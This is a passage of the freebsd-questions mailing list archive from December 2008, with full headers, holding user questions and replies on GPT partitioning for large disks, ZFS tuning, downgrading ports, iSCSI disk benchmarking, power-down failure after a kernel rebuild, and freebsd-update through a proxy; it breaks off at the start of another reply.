hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB4AFqIv009851 for ; Thu, 4 Dec 2008 11:15:52 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB4AFpmS009847 for ; Thu, 4 Dec 2008 11:15:51 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Thu, 4 Dec 2008 11:15:51 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: "mail.list freebsd-questions" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: newinstall and GPT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 10:15:54 -0000 If one would use GPT (GUID (Globally Unique Identifier) Partition Table right from the start of an installation of a new system, how must one proceed ? During install from a DVD, first you are asked to do a DOS-style ("fdisk") partitioning (slice making in FreeBSD parlance), which would be responded with "A=Use Entire Disk". What if you have, say 8 TB disk space (in RAID6, presenting itself as a single "unused" space), will fdisk be able to deal with that ? Has fdisk a limit as to the number of sectors (2^31- 1 = 2TB) ? If fdisk can't deal with that, what then ??? Bsdlabel, the next tool coming up after fdisk, uses 32-bit integers can't be used for 8 TB available space. Then GPT would have to be used (uses 64-bit integers). How to proceed ? Should your first during initial go for bsdlabel, and only use maximum 2TB, continue with the rest of the install and then, after install, use GPT to change the FreeBSD existing partitions? Any documents describing a FreeBSD install for large diskspaces with GPT ?? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 10:41:52 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E71F21065679 for ; Thu, 4 Dec 2008 10:41:51 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 6325E8FC1E for ; Thu, 4 Dec 2008 10:41:51 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl37-141.kln.forthnet.gr [77.49.164.141]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB4AfgZu000428 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 4 Dec 2008 12:41:48 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB4Afgfc002087; Thu, 4 Dec 2008 12:41:42 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB4Aff5q002086; Thu, 4 Dec 2008 12:41:41 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: Kevin Monceaux In-Reply-To: (Kevin Monceaux's message of "Wed, 3 Dec 2008 22:44:29 -0600 (CST)") Date: Thu, 04 Dec 2008 08:35:21 +0200 Message-ID: <8763m04fdi.fsf@kobe.laptop> References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB4AfgZu000428 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.837, required 5, ALL_TRUSTED -1.80, AWL 0.52, BAYES_00 -2.60, DATE_IN_PAST_03_06 0.04) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: Giorgos Keramidas , FreeBSD Questions E-Mail List Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 10:41:52 -0000 On Wed, 3 Dec 2008 22:44:29 -0600 (CST), Kevin Monceaux wrote: > On Thu, 4 Dec 2008, Giorgos Keramidas wrote: > >> For what it's worth, I've been reading newsgroups with more than 5000 >> messages in Gnus, a newsreader that runs inside GNU Emacs, and its >> memory usage has *never* reached 512 MB, > > I doubt I'd have a problem with newsgroups that small with either tin > or pan. How well does Gnus handle groups with 1,000,000 to 2,000,000+ > messages? My ISP dropped it's NNTP service a while back and I ended > up signing up with GigaNews. They have 240 day retention for binary > groups and 1,990 day retention for text groups. So, many of the group > archives on their servers are huge. Granted I don't need to retrieve > all the headers for a particular group, but it's not unusual for me to > be browsing a group with a header count in the five to six digit > range. Ouch. That's a really big group size. I have only opened groups with Gnus that contain upwards of 120,000 messages (my full email archive since around 2001). When I try to open the particular message archive, Gnus takes about 7-8 seconds to generate the full group summary, and the memory usage of Emacs jumps to about 150 MB. I haven't tried opening a *remote* group with more than a million messages, but I suspect this is going to take a while :-) > I finally gave up on tin a while back and switched to pan. It seems > to be less of a memory hog with larger groups than tin was. I prefer > TUI based programs over GUI based programs, but I think pan is worth > putting up with the GUI interface. Heh, I know what you mean. Most of the time the only GUI programs that run around here are Firefox for Javascript-heavy web pages and Evince or XPDF for reading PDF documents. > Well, I guess I'll probably need at least a few if I go with ZFS this > time around. It may be worth running an AMD64 version of FreeBSD if you plan to use ZFS for heavy-duty tasks. I am currently without a network connection, but I will seek the FreeBSD Wiki page about ZFS tuning, and will post a followup to this post. I installed FreeBSD/amd64 on my laptop to test ZFS a few weeks ago, and with the tuning mentioned in the Wiki it was rock-stable for every day work. The test installations I used were two: * One with GELI encryption for the full disk and ZFS running on top of the encrypted device. * One with ZFS only, using most of the disk (and a small 2 GB /boot partition for bootstrapping into a ZFS-root filesystem). Rink Spinger has posted an excellent blog post about running with a small /boot partition and ZFS on the root filesystem (and everything else). His blog post is what I used to guide me through the initial steps of the GELI+ZFS root setup. Look at http://planet.freebsdish.org/ for Rink's blog post, or if it has fallen off the top of the blog planet queue, Google for it. It may be a very handy guide to have around in printed dead-tree format when you attempt to install and tune ZFS. Cheers, and have fun with FreeBSD, Giorgos From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 10:54:21 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 35D4D1065672 for ; Thu, 4 Dec 2008 10:54:21 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (mail.e-soul.co.za [196.211.117.44]) by mx1.freebsd.org (Postfix) with ESMTP id 52E4F8FC08 for ; Thu, 4 Dec 2008 10:54:17 +0000 (UTC) (envelope-from thavinci@thavinci.za.net) Received: from thavinci.za.net (localhost [127.0.0.1]) by thavinci.za.net (Postfix) with ESMTP id C78499B4DD; Thu, 4 Dec 2008 12:54:03 +0200 (SAST) Received: by thavinci.za.net (Postfix, from userid 1002) id A71959B4DB; Thu, 4 Dec 2008 12:54:03 +0200 (SAST) Received: from thavinciPC (unknown [192.168.12.110]) by thavinci.za.net (Postfix) with ESMTP id 984E59B4D4; Thu, 4 Dec 2008 12:54:03 +0200 (SAST) From: "Marcel Grandemange" To: "'Benjamin Lee'" References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> In-Reply-To: <4937AC23.1030203@b1c1l1.com> Date: Thu, 4 Dec 2008 12:53:57 +0200 Message-ID: <028901c955fe$9b7833d0$d2689b70$@za.net> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: AclV+I862MzIm49jSlmEtfJxG/8ITAABb8lA Content-Language: en-us X-Virus-Scanned: ClamAV using ClamSMTP Cc: freebsd-questions@freebsd.org Subject: RE: Downgrading Ports X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 10:54:21 -0000 > Good Day Guys. > > Im wondering how can one downgrade ports? > And I don't mean installed ports (portdowngrade) , I mean the actual > ports system. > > I have found the freeradius2 port to be broken and can't install it > therefore I would like to downgrade ports to try install an older version. > > > Any advise? >See portdowngrade(1) -- it doesn't do what you think it does. Use it to fetch an earlier version of the port and then reinstall it however you wish, e.g. using portupgrade(1). [root@devvm /usr/ports/net/freeradius2]# portdowngrade freeradius2 portdowngrade 0.6 by Heiner Eichmann Please note, that nothing is changed in the ports tree unless it is explicitly permitted in step 6! Seeking port freeradius2 ... not found [root@devvm /usr/ports/net/freeradius2]# ls Makefile distinfo files pkg-descr pkg-plist work I have used portdowngrade successfully on ports already installed, but doesn't work on a port not installed yet. Am I doing something wrong? From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 11:08:25 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 009D31065673 for ; Thu, 4 Dec 2008 11:08:25 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 69DDF8FC16 for ; Thu, 4 Dec 2008 11:08:24 +0000 (UTC) (envelope-from keramida@freebsd.org) Received: from kobe.laptop (adsl37-141.kln.forthnet.gr [77.49.164.141]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB4B8CqB002728 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 4 Dec 2008 13:08:18 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB4B8CbE002546; Thu, 4 Dec 2008 13:08:12 +0200 (EET) (envelope-from keramida@freebsd.org) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB4B8CWe002545; Thu, 4 Dec 2008 13:08:12 +0200 (EET) (envelope-from keramida@freebsd.org) From: Giorgos Keramidas To: Kevin Monceaux References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> <8763m04fdi.fsf@kobe.laptop> Date: Thu, 04 Dec 2008 13:08:12 +0200 In-Reply-To: <8763m04fdi.fsf@kobe.laptop> (Giorgos Keramidas's message of "Thu, 04 Dec 2008 08:35:21 +0200") Message-ID: <87iqq08ag3.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB4B8CqB002728 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-4.304, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.10, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@freebsd.org X-Spam-Status: No Cc: FreeBSD Questions E-Mail List Subject: Re: Returning User With Filesystem/Memory Tuning Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 11:08:25 -0000 On Thu, 04 Dec 2008 08:35:21 +0200, Giorgos Keramidas wrote: > Rink Spinger has posted an excellent blog post about running with a > small /boot partition and ZFS on the root filesystem (and everything > else). His blog post is what I used to guide me through the initial > steps of the GELI+ZFS root setup. Here it is: http://rink.nu/entry.php?id=105 From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 11:38:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E30D91065672 for ; Thu, 4 Dec 2008 11:38:08 +0000 (UTC) (envelope-from a@jenisch.at) Received: from srvdmz13.oekb.co.at (srvdmz13.oekb.co.at [143.245.5.103]) by mx1.freebsd.org (Postfix) with ESMTP id 439F28FC1A for ; Thu, 4 Dec 2008 11:38:08 +0000 (UTC) (envelope-from a@jenisch.at) Received: from msc01-n1 [143.245.2.187] by srvdmz13.oekb.co.at - SurfControl E-mail Filter (6.0.0); Thu, 04 Dec 2008 12:38:07 +0100 Received: from aurora.oekb.co.at ([143.245.9.16]) by MAIL1.oekb.co.at with Microsoft SMTPSVC(6.0.3790.3959); Thu, 4 Dec 2008 12:38:06 +0100 Received: from aurora.oekb.co.at (localhost.localdomain [127.0.0.1]) by aurora.oekb.co.at (8.14.2/8.14.2) with ESMTP id mB4Bc6Hx004587 for ; Thu, 4 Dec 2008 12:38:06 +0100 Received: (from ej@localhost) by aurora.oekb.co.at (8.14.2/8.14.2/Submit) id mB4Bc6k3004586 for freebsd-questions@freebsd.org; Thu, 4 Dec 2008 12:38:06 +0100 X-Authentication-Warning: aurora.oekb.co.at: ej set sender to a@jenisch.at using -f Date: Thu, 4 Dec 2008 12:38:06 +0100 From: Ewald Jenisch To: freebsd-questions@freebsd.org Message-ID: <20081204113806.GA4578@aurora.oekb.co.at> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.18 (2008-05-17) X-OriginalArrivalTime: 04 Dec 2008 11:38:06.0820 (UTC) FILETIME=[C693C240:01C95604] X-SEF-ZeroHour-RefID: fgs=0 X-SEF-7853D99-ADF1-478E-8894-213D316B8FFA: 1 X-SEF-Processed: 6_0_0_39__2008_12_04_12_38_07 Subject: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 11:38:09 -0000 Hi, To gain an understanding on the performance of iSCSI vs. local disk IO I'm looking for a tool. My first thought was about "iozone"... Any other ideas? Thanks much in advance for your help, -ewald From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 11:41:39 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A712D1065670 for ; Thu, 4 Dec 2008 11:41:39 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 175C68FC13 for ; Thu, 4 Dec 2008 11:41:37 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB4BfUaj053500; Thu, 4 Dec 2008 12:41:30 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB4BfUC2053497; Thu, 4 Dec 2008 12:41:30 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Thu, 4 Dec 2008 12:41:30 +0100 (CET) From: Wojciech Puchar To: Ewald Jenisch In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> Message-ID: <20081204124039.W53495@wojtek.tensor.gdynia.pl> References: <20081204113806.GA4578@aurora.oekb.co.at> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 11:41:39 -0000 > > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. > > My first thought was about "iozone"... > > Any other ideas? for linear transfer:dd of course iSCSI disk will always be slower From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 11:42:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8E75D1065670 for ; Thu, 4 Dec 2008 11:42:52 +0000 (UTC) (envelope-from unga888@yahoo.com) Received: from web57001.mail.re3.yahoo.com (web57001.mail.re3.yahoo.com [66.196.97.105]) by mx1.freebsd.org (Postfix) with SMTP id 22ACF8FC26 for ; Thu, 4 Dec 2008 11:42:52 +0000 (UTC) (envelope-from unga888@yahoo.com) Received: (qmail 92678 invoked by uid 60001); 4 Dec 2008 11:42:51 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Message-ID; b=fSNWdZsfPBzryRgNOy1aIFL3mVhcmHX8gFUVQ4YufDJQHPcgLNDlhKPc8Rep5P8bac1GFNuUJo3EBSVKScMcnquHcoVHVsVJoS7SKPSaJ+bTzkT77oL7rQK1V7xdrfAOoayIsn4Fx9IePrY00XJ0j+piEM7nDpVLfmKRbv1h6KE=; X-YMail-OSG: nRpyNGsVM1nehRCNYdWl9eQ_bwO844z1JOqqQVRw5BAr14mZ4LLLRlE6N5rV44nnFi7mbHW.45OIOJK8GnnSaImg3.jd4LINJ9EYguTh1_OF9p6thP6nTGPRaLEKOhMo3l4yy_YVpsS1LZE_Al1aNAeKxLI- Received: from [220.255.7.243] by web57001.mail.re3.yahoo.com via HTTP; Thu, 04 Dec 2008 03:42:51 PST X-Mailer: YahooMailWebService/0.7.260.1 Date: Thu, 4 Dec 2008 03:42:51 -0800 (PST) From: Unga To: freebsd-questions@freebsd.org In-Reply-To: <706654.84147.qm@web57001.mail.re3.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Message-ID: <289102.92495.qm@web57001.mail.re3.yahoo.com> Subject: Re: FreeBSD cannot power down X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: unga888@yahoo.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 11:42:52 -0000 --- On Tue, 12/2/08, Unga wrote: > From: Unga > Subject: FreeBSD cannot power down > To: freebsd-questions@freebsd.org > Date: Tuesday, December 2, 2008, 11:22 PM > Hi all > > After a kernel recompilation on i386 RELENG_7 (not the > latest), I cannot power down the machine. > > kldstat shows acpi.ko is loaded. > > It used to switch off but now the "shutdown -p > now" halts the system with following messages: > The operating system has halted. > Please press any key to reboot. > > What else could I check to identify the cause? > > Appreciate your ideas on this. > I had a look at source code. The program flow seems to be is as follows: shutdown => (signals) init => reboot() => boot() => shutdown_final => shutdown_halt() => cpu_halt() I did not see which function is called to request a power down. The __asm__ ("hlt") doesn't power down, isn't it? Could you guys help me to identify how shutdown request a power down. Many thanks in advance. Unga From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:23:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 306281065675 for ; Thu, 4 Dec 2008 12:23:50 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id 693EC8FC1D for ; Thu, 4 Dec 2008 12:23:49 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 15384 invoked from network); 4 Dec 2008 12:23:44 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 4 Dec 2008 12:23:44 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id C500E171CE; Thu, 4 Dec 2008 23:23:45 +1100 (EST) Date: Thu, 4 Dec 2008 23:23:45 +1100 From: andrew clarke To: DA Forsyth Message-ID: <20081204122345.GA53069@ozzmosis.com> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: freebsd-update through proxy with auth X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:23:50 -0000 On Wed 2008-12-03 10:36:29 UTC+0200, DA Forsyth (d.forsyth@ru.ac.za) wrote: > How do I get freebsd-update to fetch through a proxy that requires > authentication? I cannot find any options in the man pages. freebsd-update is a /bin/sh shell script. Looking at the source I can see it uses /usr/bin/fetch, so it's probably just a matter of reading the fetch(1) & fetch(3) manpages to get it to do what you want. If all else fails, you might be able to hack the freebsd-update script to use Wget instead of Fetch, but I doubt you'll need to go to that much trouble. From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:28:02 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B5A1D1065670 for ; Thu, 4 Dec 2008 12:28:02 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 6A3848FC24 for ; Thu, 4 Dec 2008 12:28:02 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8DJD-0002XM-DS for freebsd-questions@freebsd.org; Thu, 04 Dec 2008 12:27:55 +0000 Received: from lara.cc.fer.hr ([161.53.72.113]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 12:27:55 +0000 Received: from ivoras by lara.cc.fer.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Dec 2008 12:27:55 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Thu, 04 Dec 2008 13:27:49 +0100 Lines: 38 Message-ID: References: <20081204113806.GA4578@aurora.oekb.co.at> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enigD82D8E8B6C8C494CD542A758" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: lara.cc.fer.hr User-Agent: Thunderbird 2.0.0.18 (X11/20081125) In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> X-Enigmail-Version: 0.95.0 Sender: news Subject: Re: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:28:02 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigD82D8E8B6C8C494CD542A758 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Ewald Jenisch wrote: > Hi, >=20 > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. >=20 > My first thought was about "iozone"... iozone is ok, but a little complex to run. Any disk benchmark will be ok - bonnie++, blogbench, etc. but each has an emphasis on a different aspect of the system. I think bonnie++ will be the simplest in your case.= Make sure you know what you're benchmarking - for example if the iSCSI drive (target) is hosted as a file in a regular file system, it will be overly (and dangerously) cached on the server. --------------enigD82D8E8B6C8C494CD542A758 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJN8zFldnAQVacBcgRAlusAKCX0qLAn9FVstbZa0fS7QTUFpZOMwCfThGi f0JLsJ6j/NE68KKhJdSLr7I= =uJ5y -----END PGP SIGNATURE----- --------------enigD82D8E8B6C8C494CD542A758-- From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:29:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 785671065677 for ; Thu, 4 Dec 2008 12:29:56 +0000 (UTC) (envelope-from vince@unsane.co.uk) Received: from unsane.co.uk (unsane-pt.tunnel.tserv5.lon1.ipv6.he.net [IPv6:2001:470:1f08:110::2]) by mx1.freebsd.org (Postfix) with ESMTP id 007308FC18 for ; Thu, 4 Dec 2008 12:29:55 +0000 (UTC) (envelope-from vince@unsane.co.uk) Received: from vhoffman.lon.namesco.net (150.117-84-212.staticip.namesco.net [212.84.117.150]) (authenticated bits=0) by unsane.co.uk (8.14.0/8.14.0) with ESMTP id mB4CT5VR027406 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Dec 2008 12:29:06 GMT (envelope-from vince@unsane.co.uk) Message-ID: <4937CD41.2000503@unsane.co.uk> Date: Thu, 04 Dec 2008 12:29:53 +0000 From: Vincent Hoffman User-Agent: Thunderbird 2.0.0.18 (Macintosh/20081105) MIME-Version: 1.0 To: Ewald Jenisch References: <20081204113806.GA4578@aurora.oekb.co.at> In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> X-Enigmail-Version: 0.95.7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Tool for benchmark local disk vs. iSCSI X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:29:56 -0000 Ewald Jenisch wrote: > Hi, > > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. > > My first thought was about "iozone"... > bonnie++ is ok too. > Any other ideas? > > Thanks much in advance for your help, > -ewald > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Thu Dec 4 12:30:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 94CD21065675 for ; Thu, 4 Dec 2008 12:30:29 +0000 (UTC) (envelope-from derek@computinginnovations.com) Received: from betty.computinginnovations.com (mail.computinginnovations.com [64.81.227.250]) by mx1.freebsd.org (Postfix) with ESMTP id 402A58FC1D for ; Thu, 4 Dec 2008 12:30:28 +0000 (UTC) (envelope-from derek@computinginnovations.com) Received: from p28.computinginnovations.com (dhcp-10-20-30-100.computinginnovations.com [10.20.30.100]) (authenticated bits=0) by betty.computinginnovations.com (8.14.2/8.14.2) with ESMTP id mB4CUJGv083757; Thu, 4 Dec 2008 06:30:20 -0600 (CST) (envelope-from derek@computinginnovations.com) Message-Id: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> X-Sender: derek@mail.computinginnovations.com X-Mailer: QUALCOMM Windows Eudora Version 6.0.0.22 Date: Thu, 04 Dec 2008 06:30:13 -0600 To: "Tim Judd" , "Kris Kennaway" From: Derek Ragona In-Reply-To: References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> Mime-Version: 1.0 X-Antivirus: avast! (VPS 081203-0, 12/03/2008), Outbound message X-Antivirus-Status: Clean X-Virus-Scanned: ClamAV 0.94.2-exp/8720/Wed Dec 3 21:09:56 2008 on betty.computinginnovations.com X-Virus-Status: Clean X-ComputingInnovations-MailScanner-Information: Please contact the ISP for more information X-MailScanner-ID: mB4CUJGv083757 X-ComputingInnovations-MailScanner: Found to be clean X-ComputingInnovations-MailScanner-From: derek@computinginnovations.com X-Spam-Status: No Content-Type: text/plain; charset="us-ascii"; format=flowed X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: what script is whacking root's files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 04 Dec 2008 12:30:29 -0000 At 01:11 AM 12/4/2008, Tim Judd wrote: >On Wed, Dec 3, 2008 at 